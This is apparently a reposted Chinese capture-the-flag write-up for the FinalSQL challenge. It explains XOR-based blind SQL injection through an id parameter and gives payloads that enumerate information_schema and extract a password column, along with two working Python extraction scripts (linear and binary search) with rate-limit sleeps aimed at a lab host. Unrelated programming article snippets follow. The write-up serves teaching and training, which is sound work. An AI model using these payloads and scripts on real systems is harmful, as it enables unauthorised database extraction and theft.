[极客大挑战 2019]FinalSQL - 异或盲注

news/2024/5/20 0:05:57 标签: web安全, 安全, ctf

1
1、这题的关键是找注入点,如果选择用户名、密码作为输入点就麻烦了

2、注入点:按钮,点击就传id;当id=1时,提示Click others
  可以利用id的特性,构造异或匹配
  payload: f"1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{j},1))={i})^1"
  payload有两个异或:1^表达式^1
  如果中间为真,则返回1,那么
  01^01(前异或)=00^01(后异或)=01=1 —— id=1 —— 也就是提示Click others
  如果中间为假,则返回0,那么
  00^01(前异或)=01^01(后异或)=00=0 —— id=0 —— 也就是提示Error

3、查出表名:1n1yl\11yaa(这个结果错误的,通过下面的查询,查不出列)(查看re后发现,请求会提示429,too many requests)
  解决方法:查询频率太高了,使用**time.sleep(0.2)**解决
  查出表名:F1naI1y,Flaaaaag

4、payload: f"1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=Flaaaaag)),{j},1))={i})^1"
  查出列名:id,fl4gawsl(查到NO!NO!说明flag不在这个表)

5、payload: f"1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=F1naI1y)),{j},1))={i})^1"
  查出列名:id,username,password

6、payload: f"1^(ord(substr((select(password)from(F1naI1y)),{j},1))={i})^1"
跑了半小时得到:cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www. ,还是没有拿到flag,速度太慢了
换二分法得到:flag=cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{f1319cf3-b1e6-46d6-9473-c857240bcdee}
注意:不论是什么方法,sleep都必须要,否则频率太高就查不出来了

脚本:速度太慢

s = requests.session()
url = "http://29cc5d3e-b351-41f6-9266-205c0e2f9064.node4.buuoj.cn:81/search.php?id="
result = ""
for j in range(1,10000):
        for i in range(1,128):
                #过滤空格、and等关键字
                payload = f"1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{j},1))={i})^1"
                #payload = f"1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='1n1yl')),{j},1))>{i})^1"
                data={
                    "id":payload
                }
                time.sleep(0.2)
                re = s.get(url+payload).text
                #re = s.post(url,data).text
                #print(url+payload)
                #print(re)

                if "Click" in re:
                    result += chr(i)
                    print(result)
                    break

脚本:二分法

def payload(i, j):
    sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)
    data = {"id": sql}
    r = requests.get(url, params=data)
    time.sleep(0.06)
    # print (r.url)
    if "Click" in r.text:
        res = 1
    else:
        res = 0
    return res
def exp():
    global flag
    for i in range(1, 10000):
        print(i, ':')
        low = 31
        high = 127
        while low <= high:
            mid = (low + high) // 2
            res = payload(i, mid)
            if res:
                low = mid + 1
            else:
                high = mid - 1
        f = int((low + high + 1)) // 2
        if (f == 127 or f == 31):
            break
        #print(f)
        flag += chr(f)
        print(flag)
exp()
print('flag=', flag)

http://www.niftyadmin.cn/n/5070240.html

相关文章

模板特化 用法

函数模板特化 用法 #include <iostream> using namespace std;template <typename T> bool Less(T x, T y) {return x < y; }template <> bool Less<int*>(int* p1, int* p2) {return *p1 < *p2; }int main() {int number1 10;int number2 20…

❋JQuery的快速入门2 jq动画与案例

目录 jq自定义动画【animate&#xff0c;stop】 案例1&#xff1a;大小图标 案例2&#xff1a;动态增加删除数据 案例3&#xff1a;动态留言与删除 案例4&#xff1a;动态进度条 案例5&#xff1a;点击三个相同的图片进行消除 jq自定义动画【animate&#xff0c;stop】 a…

数学建模:最优化问题及其求解概述

数学建模&#xff1a;最优化问题及其求解概述 最优化问题定义分类离散优化问题连续优化问题 求解 此博客围绕运筹学以及最优化理论的相关知识&#xff0c;通俗易懂地介绍了最优化问题的定义、分类以及求解算法。 最优化问题 定义 数学优化&#xff08;Mathematical Optimiza…

代码随想录二刷day45

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、力扣70. 爬楼梯二、力扣322. 零钱兑换三、力扣279. 完全平方数 前言 一、力扣70. 爬楼梯 class Solution {public int climbStairs(int n) {int[] dp new…

AI 大框架分析基于python之TensorFlow(归一化处理,多类别分类的概率)

AI 大框架分析基于python之TensorFlow(归一化处理,多类别分类的概率) AI&#xff08;人工智能&#xff09;的大框架有很多种&#xff0c;以下是一些常见的AI框架&#xff1a; TensorFlow&#xff1a;由谷歌开发的开源机器学习框架&#xff0c;支持各种任务&#xff0c;包括图像…

leetcode - 365周赛

一&#xff0c;2873.有序三元组中的最大值 I ​ 该题的数据范围小&#xff0c;直接遍历&#xff1a; class Solution {public long maximumTripletValue(int[] nums) {int n nums.length;long ans 0;for(int i0; i<n-2; i){for(int ji1; j<n-1; j){for(int kj1; k<…

【星海出品】ansible入门(三) 深入playbook

Ansible playbook常用到模板驱动jinja2 都是python编写的。Jinja2 需要至少 Python 2.4 版本来运行。 jinja2过滤器 Jinja2中的过滤器可以把一个模板表达式转换为另一个.Jinja2附带了很多这样的功能。 jinja2源码 https://github.com/pallets/jinja/blob/main/基本 API 使用 …

C++【5】类与对象(二)

1.类的嵌套&#xff1a;在定义一个类时&#xff0c;在其类体中又包含了一个类的完整定义&#xff0c;称为类的嵌套。类时允许嵌套定义的。 #include<iostream> using namespace std;class demo1 {public :int x;void Func();class demo2{int x;void Func();}obj;};void d…